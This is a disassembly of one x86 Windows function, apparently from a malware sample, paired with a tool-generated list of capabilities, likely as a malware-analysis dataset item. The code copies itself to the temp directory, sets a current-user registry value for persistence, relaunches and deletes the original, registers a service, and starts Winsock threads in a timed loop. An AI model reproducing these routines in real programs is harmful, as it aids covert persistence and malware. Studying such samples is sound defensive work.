Function at 0x409a7b
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check if file exists
Create process on windows
Create thread
Delete file
Get common file path
Get disk information
Initialize winsock library
Query environment variable
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x684
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push edi
push 3
call esi
push 3
call esi
push 0x406582
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.0040ecaf
xor ebx, ebx
cmp byte [0x41201f], bl
jne 0x40a3d2
push 0x12c
lea eax, [ebp - 0x29c]
push eax
push ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x409ada
mov byte [ebp - 0x29c], bl
cmp byte [ebp - 0x29c], 0x22
jne 0x409b0d
lea eax, [ebp - 0x29b]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.0040ef5b
lea eax, [ebp - 0x29c]
push 0x22
push eax
call fcn.0040ed7e
add esp, 0x10
cmp eax, ebx
je 0x409b0d
mov byte [eax], bl
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0xb7
push 0xa9
push 4
push 0x410a58
mov esi, 0x412390
push esi
mov dword [ebp + 0x10], eax
call fcn.0040254d
push eax
push dword [ebp + 0x10]
call fcn.0040eef0
mov edi, 0x100
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.0040ee85
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0x409c1c
mov eax, dword [ebp - 4]
lea edi, [eax + 3]
mov byte [ebp - 0x170], bl
cmp byte [edi], 0x22
jne 0x409b98
lea edi, [eax + 4]
push 0x22
push edi
call fcn.0040ed5e
pop ecx
pop ecx
cmp eax, ebx
je 0x409bd2
mov esi, eax
sub esi, dword [ebp - 4]
lea eax, [esi - 4]
push eax
lea eax, [ebp - 0x170]
push edi
push eax
call fcn.0040ee63
mov byte [ebp + esi - 0x174], bl
jmp 0x409bcf
push 0x20
push edi
call fcn.0040ed5e
pop ecx
pop ecx
cmp eax, ebx
jne 0x409bb2
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x10]
mov esi, eax
sub esi, dword [ebp - 4]
lea eax, [esi - 3]
push eax
lea eax, [ebp - 0x170]
push edi
push eax
call fcn.0040ee63
mov byte [ebp + esi - 0x173], bl
add esp, 0xc
cmp byte [ebp - 0x170], bl
je 0x409c15
cmp byte [ebp - 0x29c], bl
je 0x409c15
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.004067cd
add esp, 0xc
cmp eax, ebx
je 0x409c15
cmp dword [ebp - 8], ebx
je 0x409c15
push dword [ebp - 8]
push eax
lea eax, [ebp - 0x170]
push eax
call fcn.00406ad1
add esp, 0xc
mov dword [ebp - 8], eax
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.004096c2
add esp, 0x14
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x40a1d8
mov dword [ebp - 0x20], ebx
cmp eax, 4
jge 0x40a16d
cmp dword [ebp - 0x2c], 0x54
jle 0x409c64
cmp dword [ebp - 0x28], ebx
jne 0x40a16d
push 1
call fcn.004042c1
pop ecx
cmp byte [ebp - 0x29c], bl
je 0x40a16d
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.004067cd
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x40a16d
cmp dword [ebp - 8], ebx
je 0x40a16d
cmp dword [ebp - 0xc], 2
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
je 0x409e49
lea eax, [ebp - 0x4f4]
push eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x409e49
push dword [ebp - 8]
lea eax, [ebp - 0x2bc]
push dword [ebp - 4]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f4]
push eax
call fcn.004099ea
add esp, 0x14
test eax, eax
je 0x409e49
cmp dword [ebp - 0xc], 3
mov byte [ebp - 0x4c], bl
jl 0x409d65
cmp byte [ebp - 0x170], bl
je 0x409d65
lea eax, [ebp - 0x170]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x409d0f
sub eax, edx
cmp eax, ebx
jle 0x409d27
cmp byte [ebp + eax - 0x171], 0x5c
jne 0x409d27
dec eax
mov edx, eax
cmp eax, ebx
jle 0x409d3f
lea ecx, [ebp - 0x170]
cmp byte [ecx + eax - 1], 0x5c
je 0x409d3f
dec eax
cmp eax, ebx
jg 0x409d33
sub edx, eax
push edx
lea eax, [ebp + eax - 0x170]
push eax
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp + 0x10], edx
call fcn.0040ee63
mov eax, dword [ebp + 0x10]
mov byte [ebp + eax - 0x4c], bl
xor eax, eax
add esp, 0xc
inc eax
jmp 0x409db0
lea eax, [ebp - 0x4c]
push ebx
push eax
call fcn.00406e33
push eax
call fcn.0040f18e
add esp, 0xc
call fcn.00406d3a
push eax
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x410720
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor eax, eax
cmp dword [ebp - 0x28], ebx
je 0x409dbf
cmp dword [ebp - 0x2c], 0x50
jl 0x409dbf
xor ecx, ecx
jmp 0x409dc2
xor ecx, ecx
inc ecx
push ecx
push eax
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x2bc]
push eax
call fcn.0040933e
add esp, 0x18
test eax, eax
je 0x409e2c
lea eax, [ebp - 0x2e0]
push eax
push ebx
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
jne 0x409e17
xor esi, esi
inc esi
cmp dword [ebp - 0xc], esi
jne 0x409e0f
call fcn.00409717
mov dword [ebp - 0x20], esi
jmp 0x40a15b
mov eax, 0x54080108
mov dword [0x412218], eax
mov dword [0x412214], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x409e39
mov eax, dword [0x412214]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x412218]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0xc], 3
jge 0x40a15b
push 0x1f4
lea eax, [ebp - 0x4f4]
push eax
push 0xb7
push 0xa9
push 0xc
push 0x410a4c
push esi
call fcn.0040254d
add esp, 0x14
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x40a150
push dword [ebp - 8]
lea eax, [ebp - 0x2bc]
push dword [ebp - 4]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f4]
push eax
call fcn.004099ea
add esp, 0x14
test eax, eax
je 0x40a150
push edi
push ebx
push esi
call fcn.0040ee85
add esp, 0xc
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f3]
push eax
mov byte [ebp - 0x4f4], 0x22
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [ebp + eax - 0x4f4], 0x22
inc eax
cmp dword [ebp - 0xc], 2
mov dword [ebp + 0x10], eax
mov byte [ebp + eax - 0x4f4], bl
jne 0x409f04
cmp byte [ebp - 0x6c], bl
jne 0x409f17
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00406e33
push eax
call fcn.0040f18e
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push 0x103
push ebx
push 0xb7
push 0xa9
push 0x2e
push 0x4106c0
push esi
call fcn.0040254d
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x10], eax
cmp eax, ebx
jne 0x409f76
mov eax, dword [ebp + 0x10]
inc eax
push eax
lea eax, [ebp - 0x4f4]
push eax
push 1
push ebx
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push ebx
push esi
call fcn.0040ee85
push 0x44
lea eax, [ebp - 0x300]
push ebx
push eax
call fcn.0040ee85
push 0x10
lea eax, [ebp - 0x3c]
push ebx
push eax
mov dword [ebp - 0x300], 0x44
call fcn.0040ee85
add esp, 0x24
push 0x104
lea eax, [ebp - 0x170]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40a0a0
cmp byte [ebp - 0x170], 0x22
lea eax, [ebp - 0x170]
mov dword [ebp - 0x24], eax
jne 0x409fe3
lea eax, [ebp - 0x16f]
mov dword [ebp - 0x24], eax
cmp byte [eax + 1], 0x3a
jne 0x40a0a0
cmp byte [eax + 2], 0x5c
jne 0x40a0a0
mov eax, dword [ebp - 0x24]
mov cl, byte [eax + 3]
push eax
mov byte [ebp + 0x13], cl
mov byte [eax + 3], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0x40a0a0
mov al, byte [ebp + 0x13]
mov ecx, dword [ebp - 0x24]
push 0xb7
push 0xa9
push 4
push 0x410a48
push esi
mov byte [ecx + 3], al
call fcn.0040254d
add esp, 0x14
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push ebx
push esi
call fcn.0040ee85
add esp, 0xc
cmp byte [ebp - 0x170], 0x22
je 0x40a06a
push 0x410a44
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp byte [ebp - 0x170], 0x22
je 0x40a099
push 0x410a44
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x1c], ebx
je 0x40a109
cmp dword [ebp - 0x18], ebx
je 0x40a109
push dword [ebp - 0x1c]
lea eax, [ebp - 0x170]
push dword [ebp - 0x18]
push str._X_08X
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0xb7
push 0xa9
push 4
push 0x410a38
push esi
call fcn.0040254d
add esp, 0x24
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push ebx
push esi
call fcn.0040ee85
add esp, 0xc
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x300]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x4f4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40a140
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0xc], 1
jne 0x40a150
cmp dword [ebp - 0x10], ebx
jne 0x40a150
call fcn.00409717
push edi
push ebx
push esi
call fcn.0040ee85
add esp, 0xc
push dword [ebp - 4]
call fcn.0040ec89
pop ecx
cmp dword [ebp - 0x20], ebx
jne 0x409c15
push 0x12c
lea eax, [ebp - 0x29c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x409c15
cmp byte [ebp - 0x29c], 0x22
lea eax, [ebp - 0x29c]
jne 0x40a1a4
lea eax, [ebp - 0x29b]
cmp byte [eax + 1], 0x3a
jne 0x409c15
cmp byte [eax + 2], 0x5c
jne 0x409c15
push eax
mov byte [eax + 3], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0x409c15
push 1
call fcn.0040915d
pop ecx
jmp 0x409c15
lea eax, [ebp - 0x29c]
push eax
push 0x412240
call fcn.0040ef5b
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0xb7
push 0xa9
push 4
push 0x410a48
push esi
mov dword [ebp + 0x10], eax
call fcn.0040254d
push eax
push dword [ebp + 0x10]
call fcn.0040eef0
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.0040ee85
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0x40a2e8
mov eax, dword [ebp - 4]
add eax, 3
mov byte [ebp - 0x29c], bl
cmp byte [eax], 0x22
mov dword [ebp - 0x10], eax
jne 0x40a27b
mov eax, dword [ebp - 4]
add eax, 4
push 0x22
push eax
mov dword [ebp - 0x10], eax
call fcn.0040ed5e
pop ecx
pop ecx
cmp eax, ebx
je 0x40a2bd
sub eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
add eax, 0xfffffffc
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x29c]
push eax
call fcn.0040ee63
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x2a0], bl
jmp 0x40a2ba
push 0x20
push dword [ebp - 0x10]
call fcn.0040ed5e
pop ecx
pop ecx
cmp eax, ebx
jne 0x40a297
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x10]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
add eax, 0xfffffffd
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x29c]
push eax
call fcn.0040ee63
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x29f], bl
add esp, 0xc
cmp byte [ebp - 0x29c], bl
je 0x40a2de
push 0x103
lea eax, [ebp - 0x29c]
push eax
push 0x413470
call fcn.0040ee63
add esp, 0xc
mov dword [0x412d58], 1
push 0xb7
push 0xa9
push 4
push 0x410a38
push esi
call fcn.0040254d
push eax
push dword [ebp + 0x10]
call fcn.0040eef0
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.0040ee85
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0x40a360
mov esi, dword [ebp - 4]
add esi, 3
push 0x20
push esi
call fcn.0040ed5e
pop ecx
pop ecx
cmp eax, ebx
jne 0x40a33f
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40a334
sub eax, edx
add eax, esi
sub eax, esi
mov edi, eax
cmp edi, 0x20
jb 0x40a34b
push 0x1f
pop edi
push edi
push esi
push 0x41221c
call fcn.0040ee63
add esp, 0xc
mov byte [edi + 0x41221c], bl
call fcn.00406f34
test eax, eax
jne 0x40a3c8
cmp byte [ebp - 0x170], bl
je 0x40a39d
lea eax, [ebp - 0x170]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40a37a
sub eax, edx
cmp eax, 0x20
jae 0x40a39d
lea eax, [ebp - 0x170]
push eax
push 0x413448
call fcn.0040ef5b
pop ecx
pop ecx
jmp 0x40a3a3
mov byte [0x413448], bl
lea eax, [ebp - 0x170]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x38], 0x409979
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0x409c15
call fcn.0040990a
jmp 0x409c15
cmp byte [0x413470], bl
je 0x40a422
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp + 0x10], 0xa
mov esi, 0x413470
jmp 0x40a40c
cmp dword [ebp + 0x10], ebx
jle 0x40a413
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x40a413
dec dword [ebp + 0x10]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call edi
test eax, eax
je 0x40a3ee
push 0x104
push ebx
push esi
call fcn.0040ee85
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x404061
push ebx
push ebx
call esi
lea eax, [ebp - 0x684]
push eax
push 0x1010
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.0040e5c1
push ebx
push 1
call fcn.0040eb0a
push 0x4121a0
call fcn.00401d96
add esp, 0xc
call fcn.00408115
push ebx
push ebx
push ebx
push 0x4087ca
push ebx
push ebx
call esi
call fcn.00405edc
call fcn.0040313b
call fcn.0040c12b
call fcn.00408dfd
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call esi
call fcn.0040c4f4
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x413468], ebx
je 0x40a4b4
call edi
sub eax, dword [0x413468]
cmp eax, 0x493e0
jb 0x40a4c4
call fcn.0040ca61
test eax, eax
jne 0x40a4c4
call edi
mov dword [0x413468], eax
push 0x7530
call esi
jmp 0x40a49d